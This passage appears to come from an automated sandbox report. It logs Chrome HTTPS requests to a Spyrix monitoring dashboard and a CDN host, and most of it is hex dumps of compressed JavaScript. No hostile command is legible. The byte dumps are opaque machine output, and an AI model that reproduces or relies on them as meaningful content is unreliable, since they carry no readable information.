2024-10-02 04:13:03 UTC	4096	IN	Data Raw: 71 4f f3 2c fb bd c1 c8 36 c0 06 0f c4 3b 2b d4 7a 97 b2 dc 64 68 a9 f3 cd 4b 2d d5 62 24 d8 25 6a d9 5a 7b f0 9a bf 98 95 23 f3 8d a4 33 2e af d9 5a 97 48 45 23 25 4f 7b 9c b0 87 09 09 7f 14 c4 b5 68 75 8f 23 b2 2e f6 f8 4c a7 d8 e9 d3 c7 56 1f bf c8 b1 dd df bf e6 a6 32 3a 05 dc 4c 98 a2 2e 64 51 fc 5d de 9b ce 17 d5 eb b2 7b b5 ec 5d 2d fb 57 cb c1 d5 72 f8 82 75 ac 5b 84 d2 d8 fd 20 6b 66 1d b4 60 fe cd 3c c9 59 22 b4 f4 19 e4 bd f2 e2 0b 5d 95 ab 91 e9 75 d9 8b 01 22 d8 fc 64 80 ae 92 ce 96 25 ba 62 44 66 86 56 06 4a d9 ea eb b2 1f 63 80 29 ce 27 63 f0 ba 1c c4 00 31 21 3a 0e 50 63 ad 26 3a 99 50 ff 45 f2 85 54 74 e8 ed 24 33 a5 cb c5 e3 6e 8f 95 1c 29 0e 76 4c 43 35 a6 f0 11 8b ae 24 4e a6 d6 97 33 e0 02 90 e4 60 9d 3f 60 69 44 7f 90 95 53 69 5a 5e Data Ascii: qO,6;+zdhK-b$%jZ{#3.ZHE#%O{hu#.LV2:L.dQ]{]-Wru[ kf`<Y"]u"d%bDfVJc)'c1!:Pc&:PETt$3n)vLC5$N3`?`iDSiZ^
2024-10-02 04:13:03 UTC	4096	IN	Data Raw: 27 a8 f8 21 15 42 3b 6c 79 3d 4f bf 00 b3 ce 91 84 ed b3 69 0b 44 fa 7c 22 91 65 53 43 5f 0d 03 34 35 60 be 7e 28 25 15 e0 4c f3 4c 6d 79 d3 34 0c c6 32 c2 3d a0 49 df 89 d3 69 b0 69 8c 3d fe 7e 7a 5f ed 5a 82 cb 89 9f 07 3e 14 1f ef c2 54 be 28 d5 dc 9f 5a 7d 65 ce f0 55 00 72 6f a6 bd 46 b5 95 13 e3 37 a8 1e 8c b9 1a 50 86 4e 10 d6 64 97 24 d7 62 06 34 7b a7 17 9f 83 6a df 9d ff 21 e8 0d d6 da f3 ba dc ea 0c d9 8b 11 7b 63 84 3f ef d7 c2 22 2f e8 3b 17 78 5a 3a 22 91 90 00 77 80 b2 57 ba 6d d7 06 62 a7 7b 6c 96 91 a6 4e 8e 8a c8 bf 52 f5 47 76 86 9c 34 e2 79 5a 3e cc 3c a6 49 b6 3f 3f c5 da ab 4d b8 98 a7 c3 fb de 2e 9c b4 c7 8a 36 a7 cb 13 77 d2 d1 2a 0d 4e 88 c8 1b cd e3 bb 45 51 74 c7 28 a1 72 37 ef 06 ca 17 52 f6 a5 f3 b3 26 b3 6d 8f 3d bc 7c c5 46 Data Ascii: '!B;ly=OiD\|"eSC_45`~(%LLmy42=Iii=~z_Z>T(Z}eUroF7PNd$b4{j!{c?"/;xZ:"wWmb{lNRGv4yZ><I??M.6w*NEQt(r7R&m=\|F
2024-10-02 04:13:03 UTC	2811	IN	Data Raw: 52 64 24 61 1c cd 1e 2b 75 94 6b 4c ea 9e 1a d2 71 9f 18 8c e7 df 69 b9 35 48 01 99 8c b0 57 c9 40 6a 32 eb b6 ba a4 f6 d6 64 20 ae 20 d0 94 d0 3d 2c b3 60 c7 a2 1b 5e a0 6d be a9 56 a3 a2 fb 5a 94 78 67 00 ad 95 99 e6 87 c3 ee 82 73 8d 07 5c 08 bc 4e 69 54 4c 55 93 bb e6 62 0c 92 b9 ac cb f5 8f 56 b4 6a b3 1e 9d 01 b8 1c ac 9a 19 0a 48 89 6f b1 f5 f3 93 4a 1e b1 79 66 41 d9 43 8f bc 9c 1b e0 d9 1e 57 f7 d9 4d 60 4a 0b be 0d a3 44 ba 68 f3 18 49 a5 10 43 e9 6c ea 80 49 05 68 6b 9d 9b 1b 2f a6 9d c9 b4 37 3c 23 5d e2 6c a9 31 63 0d 70 ec c9 49 d2 de d3 0a 13 30 ba 6b f0 1c 36 ad 36 2e ce 33 d7 07 1c 40 6b 1d 8c 43 8e 5d b0 49 06 b0 1a c3 74 5c aa a9 ab f5 e0 63 57 cb 26 39 78 4a 16 0e cf 12 e2 17 ae e3 9d 03 d2 18 91 2b b6 b9 86 34 d2 79 3b b4 82 0e 07 67 Data Ascii: Rd$a+ukLqi5HW@j2d =,`^mVZxgs\NiTLUbVjHoJyfACWM`JDhIClIhk/7<#]l1cpI0k66.3@kC]It\cW&9xJ+4y;g
2024-10-02 04:13:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49734	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:02 UTC	594	OUT	GET /dashboard30/assets/index-004f4025.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:03 UTC	403	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:03 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-135fd2" Content-Encoding: gzip Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:52+00:00 X-Node: m9p-up-gc69
2024-10-02 04:13:03 UTC	3693	IN	Data Raw: 35 36 36 31 0d 0a 1f 8b 08 00 00 00 00 00 04 03 c4 bd 0d 73 db 46 96 f7 fb 55 24 96 56 4b 8e 61 c5 ca cc ce ce 80 86 59 8c 2c c7 9a d8 4e 1c db 8a 12 45 cb 50 24 24 d1 a6 08 86 20 25 33 92 9e cf 7e 7f ff d3 2f 00 29 79 36 cf ad ba 75 ab 6c 11 68 34 fa e5 f4 e9 f3 de 07 57 fd d9 c6 de 41 f6 fd e9 c7 7c 30 df 19 e6 67 a3 49 fe c3 ac 98 e6 b3 f9 b2 7d c5 c3 83 83 ac 99 27 dd 64 de ca 9e 75 37 46 93 8d bc b3 77 60 25 37 f9 64 71 99 cf fa a7 e3 3c dd 7c 92 0c 8a c9 d9 e8 7c 11 ef af 67 a3 79 78 76 d5 1f 2f f2 74 7e d7 4a f3 e3 ee 49 36 b7 96 7f 9c 54 2d 37 0f d4 e6 7c 39 cd 8b b3 8d ee 66 d6 28 97 97 a7 c5 b8 d1 e9 3e 6a 34 52 f5 ce bf 76 f3 6c 31 19 cc 47 c5 a4 d9 ba a1 bb 72 be d1 cd 86 c5 80 51 4c e6 3b 83 59 de 9f e7 fb e3 5c 77 cd c6 78 34 f9 d4 68 ed cc Data Ascii: 5661sFU$VKaY,NEP$$ %3~/)y6ulh4WA\|0gI}'du7Fw`%7dq<\|\|gyxv/t~JI6T-7\|9f(>j4Rvl1GrQL;Y\wx4h
2024-10-02 04:13:03 UTC	4096	IN	Data Raw: dc 19 97 b3 5c 57 c1 67 2a 95 2c 70 a6 ef a7 d2 7b cb f8 4c ba cd 66 50 6a fc bb 48 f1 e5 45 b1 18 0f 7f 64 59 f3 19 43 1a 8e 70 b4 4b bf 2a b1 46 dd e9 1d cf d9 77 2e 64 af 8d ae 99 66 63 58 5c a6 8e f0 b8 97 1b 70 96 04 cf 46 bd c1 e0 8c 74 23 c5 10 1e 1a f3 83 7c 4f 3f 92 6a c4 9a 86 d8 c7 6d 41 86 c9 68 98 e6 e3 6a 33 0f b5 42 ad 0e 8a ea b0 95 da 4d 52 ef c4 5c c2 ad b6 b6 e2 0c ec e9 31 30 9b eb 0c bd 27 bb c9 c7 af fb d3 f4 26 1a 0b 52 a2 0a bc 8b de fb e6 93 68 54 e0 99 ae ef 60 55 d1 d3 3e 94 17 cd a4 63 e8 d0 45 8e 3b fe 24 08 33 67 59 73 91 41 ae 4d a7 72 64 04 e1 7f 08 ff 5f 29 5a c0 59 f0 9a 23 aa d7 9a 9d 7a e7 dc d9 49 e0 d3 3d 64 c4 da a4 7b 0f a3 25 2e c6 d9 8e cd e9 78 ba 8a 62 4e 78 ba 40 35 85 9a 00 2b 07 6a 10 7e da 6a 9d 64 53 e4 9f Data Ascii: \Wg,p{LfPjHEdYCpKFw.dfcX\pFt#\|O?jmAhj3BMR\10'&RhT`U>cE;$3gYsAMrd_)ZY#zI=d{%.xbNx@5+j~jdS
2024-10-02 04:13:03 UTC	4096	IN	Data Raw: 20 2a 4c d9 e9 91 a3 9b 2b 53 3a cd 17 96 c2 4f 1c 4e 22 1d aa cc 98 ff a4 d5 b9 e0 18 43 2b a5 45 fc 67 b4 58 d6 44 07 b3 7e 96 2d 97 d2 82 d3 3b 21 f2 bc 6b 6a 9f fa 37 10 7a 0b 33 e1 af 94 18 09 8a 25 c1 74 df 03 99 db cd ce e6 f1 ff 34 4f fe f2 6b 4b f8 7c 4e 51 da 3c fe 9f 93 47 ad af 92 a9 90 fd ab 5f ff c2 ed 5f 3a bf fe e5 d7 af be 3a af 66 cb 08 57 dd b5 9e ad 55 9b 69 ca 46 60 17 38 fe d8 5b 56 9e 0c 19 e2 18 54 ed b4 0f 71 fa 76 30 e1 7c 49 74 be b7 de 3f 83 c5 c8 5f 01 81 f2 f1 9e 27 d9 e4 78 37 dc 20 2d 22 93 56 ec fa 47 01 fd 46 40 ee 12 d0 af 49 3b 30 40 a5 5d 74 11 25 6e 61 fe cc 62 a8 35 d6 83 d1 68 10 8f b2 c9 23 9d 99 88 8a b5 83 a7 1a f2 d2 81 2c d2 b9 6d 2b 57 7f 6e f5 03 e2 62 bf b0 03 16 d5 68 2f 0d 7a 0c 69 33 0f cb 22 89 42 48 7d Data Ascii: *L+S:ON"C+EgXD~-;!kj7z3%t4OkK\|NQ<G__::fWUiF`8[VTqv0\|It?_'x7 -"VGF@I;0@]t%nab5h#,m+Wnbh/zi3"BH}
2024-10-02 04:13:03 UTC	4096	IN	Data Raw: b0 71 de de 5a 67 55 df c8 3b 34 e7 e0 83 f4 15 c6 29 85 c8 63 60 b7 43 1d e4 ce 9a 6d e9 97 fa 94 af 19 10 1f 46 41 4c 11 ee 35 44 64 b0 43 b9 16 f7 2c 56 d5 96 b3 63 68 c6 09 8b 2d 53 db 5c 99 a1 48 5a 4b c7 98 f7 34 1c e7 d3 40 75 8f 32 34 13 91 e3 40 f2 a9 7e 9d ab a2 8e c4 5d 5e 14 a5 5a 55 0f 24 42 52 5d d1 42 58 90 c9 33 12 b7 0e 16 89 2f 80 11 1a c4 ca 8b 54 c6 ca 7f 54 75 37 ce 18 8a 31 a1 f8 74 50 c7 73 f7 b8 fe b2 95 54 82 88 75 0c e9 13 aa fd 22 3c 93 a1 d7 a2 2e 7e 59 ba 75 08 51 17 12 10 25 5a f8 a8 12 bf bc c1 d1 26 28 38 1b 82 f3 79 05 a2 7b 16 fd 93 52 fc 0e c5 60 10 f2 ba a9 2d a2 af 6a 6c c7 4a f7 14 a6 64 c1 14 56 56 89 35 2c 84 89 35 f5 37 ee 40 ff 0d 57 af c6 13 ee 0f f1 f6 16 24 ed a2 76 81 6b e8 50 dd 5a ff a6 d5 b8 37 c2 e8 64 a2 Data Ascii: qZgU;4)c`CmFAL5DdC,Vch-S\HZK4@u24@~]^ZU$BR]BX3/TTu71tPsTu"<.~YuQ%Z&(8y{R`-jlJdVV5,57@W$vkPZ7d
2024-10-02 04:13:03 UTC	4096	IN	Data Raw: 54 67 6f 44 81 74 f8 4b 9c 69 8c 17 e3 1f f8 37 90 9d 80 15 e8 09 2d d4 51 af ba c1 6f 4f 26 72 37 44 f2 b2 8e 4a 9f 5f 4d b9 4d 47 e5 ab bc 7f c5 d7 f7 dc 8d e7 81 fe 9e 20 4b 3d 3a 7c 83 6d ae 34 bf 29 a1 69 51 e5 be 9e 5b e0 00 79 d8 63 8b 90 47 c0 7f 3a ab 1e 54 0d ba 67 21 dc e2 05 4e 93 17 3e 01 96 fb 78 f6 49 72 c0 d9 11 59 fe 7c e6 94 44 1f cf 22 ca d3 a7 03 e6 18 ca ac 54 c6 fa 61 2c 29 26 2e 35 dc 3e 38 30 4b 5f 28 7f 5c ed b2 7b 46 69 ed de 2e f7 b4 f6 9c 5b 1c ba ea ee 7d 81 20 77 05 b5 4b 7b bf 76 6f 97 0f be df 75 03 b5 01 ac 5c 6b 04 2b 05 56 b1 de c6 5d f2 cd 69 76 83 36 c2 67 a0 be 21 f8 0f 51 ce 6b 3f 9c bb 91 7a 92 1e ec 3b e3 01 a4 e7 c6 e9 e6 dd 98 ce 97 6c 46 d8 f7 91 b5 b4 c2 46 78 cb 3a c9 73 4b 2e f2 eb e3 0a a0 72 38 6f c3 1d 6f Data Ascii: TgoDtKi7-QoO&r7DJ_MMG K=:\|m4)iQ[ycG:Tg!N>xIrY\|D"Ta,)&.5>80K_(\{Fi.[} wK{vou\k+V]iv6g!Qk?z;lFFx:sK.r8oo
2024-10-02 04:13:03 UTC	2044	IN	Data Raw: f4 8a 13 2d 32 32 c6 7c 72 f5 0d 79 b0 a1 ad 75 1a d3 c4 d3 e9 8c 6e 92 eb 5c e7 c5 e9 b7 13 3b 04 29 53 2b d3 be b4 72 7e 1d ff e6 d4 3f e9 14 e7 c9 21 c1 7f 61 b8 ae 2a 9b c0 aa f2 eb ab 5a c5 49 37 fb a1 69 29 36 ae 8d 78 a5 87 b2 9b 7b f9 69 6d 97 4e 92 4f 98 32 51 a2 48 71 29 43 38 5a 2e 00 82 9a 2f e2 3d 03 71 71 76 18 b8 2c e2 96 ee d2 23 04 8c 89 2f c8 8e 68 df f2 ab af cf bc df 7a be 4f 7e 75 a6 4c 80 44 f2 c9 f8 4f fc 2c f1 27 01 61 dc e2 23 f0 2e c5 a4 3e 46 1c 68 49 48 eb fa a9 fa f6 1a c0 7b 46 fc 09 60 4b 3e 1d 97 24 f9 a6 4f 4e 7d b1 cb 16 da 58 2b 46 80 fd bc f9 09 04 6b dd b0 f9 3d 98 59 13 a5 b3 6b 02 fb 67 9f f8 1b 00 86 7c 5a b2 59 3f 51 2f 16 69 2e 34 f1 fd 7e 42 74 25 17 d7 73 82 0d 74 71 70 8a 51 58 17 a5 0c df ba 38 dd 57 d8 04 17 Data Ascii: -22\|ryun\;)S+r~?!a*ZI7i)6x{imNO2QHq)C8Z./=qqv,#/hzO~uLDO,'a#.>FhIH{F`K>$ON}X+Fk=Ykg\|ZY?Q/i.4~Bt%stqpQX8W
2024-10-02 04:13:03 UTC	4096	IN	Data Raw: 35 38 30 30 0d 0a fc 42 2b 3e 7f c1 4d 6d b1 21 39 ae 03 cd 60 51 5b fa a1 d0 b6 df 6a 6e b2 8b 36 19 5d 17 a2 47 65 3e 83 48 0e 1b be 33 c8 56 c5 68 e2 9e 90 0f 48 cf c6 3a dd 8c 27 7c 28 af 93 c3 0a ce 07 92 c4 29 de aa 56 c9 f3 30 ec 61 70 eb 2b 0e 05 89 cc 87 7a a9 8a 19 b3 88 d6 cb fa 35 ab 97 0d 6a b6 3a 28 b5 e9 df 9b f1 9e 83 d7 1d 2c cf 7d 23 04 73 0c 99 f5 b7 0c cb 1a 35 59 d9 c3 c0 12 41 b2 34 25 e6 9a 84 ac f9 0f e0 8d 9d f4 b0 f3 4c 5d 1b 8a 20 35 16 74 a0 74 ac dc 1c 9d f1 de ea 0e 58 dd b1 33 97 2c da 10 01 00 58 12 e6 ca c2 51 b7 e3 8f 63 45 7e b9 68 75 04 a6 6c c0 87 1e d9 55 ca 22 40 46 10 2b b8 8f 4a 63 71 74 0e b5 6b 04 92 69 06 c0 68 42 67 82 83 7e e1 43 0a b7 35 8b 61 34 8d 8e ed 23 30 0a 29 a5 03 72 7c 49 4e b5 15 47 8c 5a 3c 0d 67 Data Ascii: 5800B+>Mm!9`Q[jn6]Ge>H3VhH:'\|()V0ap+z5j:(,}#s5YA4%L] 5ttX3,XQcE~hulU"@F+JcqtkihBg~C5a4#0)r\|INGZ<g
2024-10-02 04:13:03 UTC	4096	IN	Data Raw: 9f 91 a7 a6 4b 6a 45 ac 48 ba 36 fd d3 5d b1 27 97 2a 12 45 de 77 d2 65 0d d2 77 47 cf 5e 90 4b 9f 71 ab 10 ac c7 a8 7a 48 8a cb 15 89 40 d2 1c a5 77 3a 5d f6 85 19 8a 42 1e 31 3a 37 33 09 77 6e 3a a6 5b 4a f9 74 b7 18 d7 99 c4 0b be 6b 27 61 16 65 5a c6 07 fe 32 c1 b0 d9 99 8e 14 67 78 07 d3 42 a7 0e b3 f2 4a b5 ca 8c a2 22 c0 33 23 38 4c eb d2 5d 3c 30 3b c7 64 9d b9 15 6d dd 3e 01 f8 e5 4e 0f 7d a7 ff 06 96 e0 e2 ff 6d bf 87 7c de f0 2c 7f fc 58 b4 ef e8 19 56 28 fd 6a c6 b5 09 b3 9c bb 9a f0 79 fe f4 45 e7 ea f8 3c 3f 81 8f a5 78 1b 3c 90 04 1e 6f 47 f8 22 4c 98 be 68 6a b4 5d 40 8b 98 b1 f3 d2 59 d7 f4 18 da 3b 6c b7 64 67 17 98 dd b2 5b e5 ba 5f 88 55 38 d2 88 d0 0f ba 46 f0 c8 a9 6d c3 39 42 2c 10 08 19 52 cd fe b1 37 ff 37 8b b5 67 49 2b 82 05 1a Data Ascii: KjEH6]'*EwewG^KqzH@w:]B1:73wn:[Jtk'aeZ2gxBJ"3#8L]<0;dm>N}m\|,XV(jyE<?x<oG"Lhj]@Y;ldg[_U8Fm9B,R77gI+
2024-10-02 04:13:03 UTC	4096	IN	Data Raw: 17 1a 61 32 26 06 dd fb fb df e2 5e 49 7d 1a d3 65 90 81 84 dc ac 56 34 83 3f 5e 34 c3 c6 34 47 f7 4e 6a cc ec 09 bc 61 40 43 ae 30 59 40 d7 82 ae 44 3d 76 b6 54 07 e3 4e d3 f1 a2 45 de 2b 44 9d 6a 3d 14 00 84 06 42 6f 38 a8 2a ff 21 6c 41 cf dc 7c 44 8e c3 4e 49 c4 b4 fe 7c 43 00 69 5a b6 cf e5 a3 87 df fc 95 d5 b6 69 81 af e9 90 2a 18 29 18 ba 4d ee 34 a7 ea 88 0e e8 5e e9 22 d6 25 85 f5 19 cb c0 46 b8 ff a3 bf 03 5f 87 80 35 d8 8c 6d 2e ff 81 1a 24 c9 31 c0 63 86 4f 3e e7 0a 68 70 2f d1 f9 99 54 f4 e5 3c 89 41 2c 45 47 ad 4c 26 12 8c 9c 16 59 4c fe 58 cb af 15 08 b1 0f 48 a1 46 e9 00 0c 22 a0 15 0e 51 a7 7e 87 e1 79 11 9e e2 cb 90 f6 d6 ba f1 f8 08 ba 49 d4 8f 57 ec 37 af d8 df 10 8e bc a6 0f f7 a4 13 0f 03 54 46 d9 39 e5 7d ac 3c cc 16 0c 8c 82 1d f8 Data Ascii: a2&^I}eV4?^44GNja@C0Y@D=vTNE+Dj=Bo8!lA\|DNI\|CiZi)M4^"%F_5m.$1cO>hp/T<A,EGL&YLXHF"Q~yIW7TF9}<
2024-10-02 04:13:03 UTC	4096	IN	Data Raw: 1d 7f de 83 57 b1 0b 16 31 2e 40 be e8 e2 4f b5 5f b4 b5 66 5a f3 69 73 c7 97 e1 82 65 38 d7 4a b2 0e a0 9d e6 0e 63 e7 12 06 29 0e 37 41 82 66 f7 9e 7e 34 78 5a 1e d8 2c d5 6c 09 62 52 3b 66 45 bb dd d4 ce c0 b2 d6 1d 53 b1 36 2f bc 0d 5b 91 14 38 9c 06 58 61 18 ae e0 c3 15 b1 8b 74 e6 e2 cf 51 b4 33 68 47 39 87 97 56 3a 46 87 83 fc 50 fa 6d e7 6d fd c3 56 42 69 ba 1b 45 2a b4 51 f0 b1 d5 a7 ec 59 64 02 8e 2e 69 58 3d 63 c5 8c f3 83 ad 99 8e 86 8b 26 8a 96 fb 0f aa 22 e8 42 c5 22 d4 c6 46 49 bc b1 32 89 30 02 05 83 90 0e 2c 88 21 8b 9e 19 58 de 51 20 7e dd 9a e4 f6 44 76 e7 4b df 50 9d e9 fa 37 5c 40 42 44 89 e1 3f fa 12 ca 69 02 9b a4 5b 5a e0 c6 85 a4 20 0b 04 4c ed 1c ef e5 6a 14 a1 42 52 36 43 40 c6 8c 62 a8 68 e7 8b 76 e4 01 9e ce a0 dd 7e 98 66 83 Data Ascii: W1.@O_fZise8Jc)7Af~4xZ,lbR;fES6/[8XatQ3hG9V:FPmmVBiE*QYd.iX=c&"B"FI20,!XQ ~DvKP7\@BD?i[Z LjBR6C@bhv~f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49737	158.69.117.119	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:04 UTC	531	OUT	GET /cdn.js HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:04 UTC	344	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:04 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 987 Last-Modified: Mon, 30 Sep 2024 10:46:14 GMT Connection: close ETag: "66fa8176-3db" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:13:04 UTC	987	IN	Data Raw: 0a 63 6c 61 73 73 20 43 64 6e 20 7b 0a 20 20 5f 6d 61 78 43 6f 75 6e 74 65 72 20 3d 20 33 30 3b 0a 20 20 5f 69 6e 74 65 72 76 61 6c 20 3d 20 6e 75 6c 6c 3b 0a 20 20 5f 63 6f 75 6e 74 65 72 20 3d 20 30 3b 0a 0a 20 20 69 6e 69 74 28 29 20 7b 0a 20 20 20 20 2f 2f 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 27 63 64 6e 2d 6f 66 66 3d 30 27 3b 20 2f 2f d0 bf d0 be d1 82 d0 be d0 bc d1 83 20 d1 87 d1 82 d0 be 20 d0 ba d1 83 d0 ba d0 b0 20 d0 bf d0 b5 d1 80 d0 b5 d0 b1 d0 b8 d0 b2 d0 b0 d0 bb d0 b0 d1 81 d1 8c 20 d0 b8 20 d0 bd d0 b5 20 d0 bf d0 b5 d1 80 d0 b5 d0 b2 d0 be d0 b4 d0 b8 d0 bb d0 be 20 d0 bd d0 b0 20 d1 81 d0 b5 d1 80 d0 b2 d0 b5 d1 80 0a 20 20 20 20 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 20 3d 20 73 65 74 49 6e 74 65 72 76 61 6c 28 Data Ascii: class Cdn { _maxCounter = 30; _interval = null; _counter = 0; init() { // document.cookie = 'cdn-off=0'; // this._interval = setInterval(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49738	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:04 UTC	379	OUT	GET /dashboard30/assets/index-004f4025.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:04 UTC	344	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:04 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-135fd2" Content-Encoding: gzip Cache: HIT X-Cached-Since: 2024-10-02T04:11:38+00:00 X-Node: m9p-up-gc30
2024-10-02 04:13:04 UTC	3752	IN	Data Raw: 35 36 39 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 c4 bd 0d 73 db 46 96 f7 fb 55 24 96 56 4b 8e 61 c5 ca cc ce ce 80 86 59 8c 2c c7 9a d8 4e 1c db 8a 12 45 cb 50 24 24 d1 a6 08 86 20 25 33 92 9e cf 7e 7f ff d3 2f 00 29 79 36 cf ad ba 75 ab 6c 11 68 34 fa e5 f4 e9 f3 de 07 57 fd d9 c6 de 41 f6 fd e9 c7 7c 30 df 19 e6 67 a3 49 fe c3 ac 98 e6 b3 f9 b2 7d c5 c3 83 83 ac 99 27 dd 64 de ca 9e 75 37 46 93 8d bc b3 77 60 25 37 f9 64 71 99 cf fa a7 e3 3c dd 7c 92 0c 8a c9 d9 e8 7c 11 ef af 67 a3 79 78 76 d5 1f 2f f2 74 7e d7 4a f3 e3 ee 49 36 b7 96 7f 9c 54 2d 37 0f d4 e6 7c 39 cd 8b b3 8d ee 66 d6 28 97 97 a7 c5 b8 d1 e9 3e 6a 34 52 f5 ce bf 76 f3 6c 31 19 cc 47 c5 a4 d9 ba a1 bb 72 be d1 cd 86 c5 80 51 4c e6 3b 83 59 de 9f e7 fb e3 5c 77 cd c6 78 34 f9 d4 68 ed cc Data Ascii: 569csFU$VKaY,NEP$$ %3~/)y6ulh4WA\|0gI}'du7Fw`%7dq<\|\|gyxv/t~JI6T-7\|9f(>j4Rvl1GrQL;Y\wx4h
2024-10-02 04:13:04 UTC	4096	IN	Data Raw: ae 99 66 63 58 5c a6 8e f0 b8 97 1b 70 96 04 cf 46 bd c1 e0 8c 74 23 c5 10 1e 1a f3 83 7c 4f 3f 92 6a c4 9a 86 d8 c7 6d 41 86 c9 68 98 e6 e3 6a 33 0f b5 42 ad 0e 8a ea b0 95 da 4d 52 ef c4 5c c2 ad b6 b6 e2 0c ec e9 31 30 9b eb 0c bd 27 bb c9 c7 af fb d3 f4 26 1a 0b 52 a2 0a bc 8b de fb e6 93 68 54 e0 99 ae ef 60 55 d1 d3 3e 94 17 cd a4 63 e8 d0 45 8e 3b fe 24 08 33 67 59 73 91 41 ae 4d a7 72 64 04 e1 7f 08 ff 5f 29 5a c0 59 f0 9a 23 aa d7 9a 9d 7a e7 dc d9 49 e0 d3 3d 64 c4 da a4 7b 0f a3 25 2e c6 d9 8e cd e9 78 ba 8a 62 4e 78 ba 40 35 85 9a 00 2b 07 6a 10 7e da 6a 9d 64 53 e4 9f 9d 29 ab 8c 71 e0 dd 68 98 ef 9f 9d c1 94 f0 f8 81 b1 b3 9d b2 2a b9 bd c5 c0 99 ac 14 c9 b1 1e e5 e2 a2 39 4c ce 92 69 80 41 4f 2e aa a1 34 d0 b3 bb df da 2b af 1d f7 e8 36 28 Data Ascii: fcX\pFt#\|O?jmAhj3BMR\10'&RhT`U>cE;$3gYsAMrd_)ZY#zI=d{%.xbNx@5+j~jdS)qh*9LiAO.4+6(
2024-10-02 04:13:04 UTC	4096	IN	Data Raw: 0b 33 e1 af 94 18 09 8a 25 c1 74 df 03 99 db cd ce e6 f1 ff 34 4f fe f2 6b 4b f8 7c 4e 51 da 3c fe 9f 93 47 ad af 92 a9 90 fd ab 5f ff c2 ed 5f 3a bf fe e5 d7 af be 3a af 66 cb 08 57 dd b5 9e ad 55 9b 69 ca 46 60 17 38 fe d8 5b 56 9e 0c 19 e2 18 54 ed b4 0f 71 fa 76 30 e1 7c 49 74 be b7 de 3f 83 c5 c8 5f 01 81 f2 f1 9e 27 d9 e4 78 37 dc 20 2d 22 93 56 ec fa 47 01 fd 46 40 ee 12 d0 af 49 3b 30 40 a5 5d 74 11 25 6e 61 fe cc 62 a8 35 d6 83 d1 68 10 8f b2 c9 23 9d 99 88 8a b5 83 a7 1a f2 d2 81 2c d2 b9 6d 2b 57 7f 6e f5 03 e2 62 bf b0 03 16 d5 68 2f 0d 7a 0c 69 33 0f cb 22 89 42 48 7d 63 d1 54 38 5c cc b6 2a bb 58 1e db 41 3f 63 56 5d 38 08 bc c4 ea 65 8c 94 a8 fc c4 f9 d7 ed 95 0c b4 71 e1 a9 6e 70 57 4b 92 c4 60 62 c1 84 3e cd 13 c2 f8 8b eb 33 fa c2 64 4b Data Ascii: 3%t4OkK\|NQ<G__::fWUiF`8[VTqv0\|It?_'x7 -"VGF@I;0@]t%nab5h#,m+Wnbh/zi3"BH}cT8\*XA?cV]8eqnpWK`b>3dK
